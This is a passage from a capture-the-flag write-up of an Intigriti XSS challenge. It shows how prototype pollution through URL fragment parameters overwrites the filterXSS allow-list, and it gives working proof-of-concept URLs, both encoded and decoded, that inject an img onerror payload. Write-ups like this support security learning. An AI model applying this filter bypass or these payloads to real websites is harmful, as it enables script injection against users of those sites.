  • You can See, Our Input is present in the Object Prototype. abcd:"xss".
  • It is Possible to Overwrite the key-values inside the Object Prototype, Bcz The Our Input is Parsed Second, Before our input is parsed, the Values are Assigned. Bcz of this, We can Overwrite the Filters Present in Object Prototype.
  • Upload Looking at the Code, I found that, The filterXSS function depends in the Object whiteList which has only Limited no. of Allowed Tags and attributes.

  • For example, a tag is allowed and href, title, target are the allowed attributes. After Searching for Script gadgets here, there is no Script Gadgets, So we Can't Get XSS by bypassing this filtetXSS unless if we have mXSS. ig so :)

Overwriting WhiteList :

  • Overwriting whitelist ... url: http://localhost:8000/?page=1#a[__proto__][whiteList]=xss

  • You can see, We Successfully Overwritten the whiteList.
  • In Order to Make it Work, we need to Inject key-value pairs. key as HTML-Tag and value as attributes.

url : a[__proto__][whiteList][img]=src%3Dx%20onerror%3Dalert(document.domain) - [url-encoded]

Final PoC

  • Now We Have filterXSS bypass, and can inject our Own Value.
  • Injection our payload into Object Prototype -> Prototype Pollution to Overwrite filterXSS function, so Our Payload will not be Filtered.

PoC: https://challenge-0522.intigriti.io/challenge/challenge.html?page=6#a[__proto__][6]=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E&a[__proto__][whiteList][img]=src%3Dx%20onerror%3Dalert(document.domain)

urlDecoded: https://challenge-0522.intigriti.io/challenge/challenge.html?page=6#a[__proto__][6]=<img src=x onerror=alert(document.domain)>&a[__proto__][whiteList][img]=src=x onerror=alert(document.domain)

Final Thoughts

  • This Challenge was Really Fun and Easy Challenge. I loved this. Thanks Intigriti <3

Resources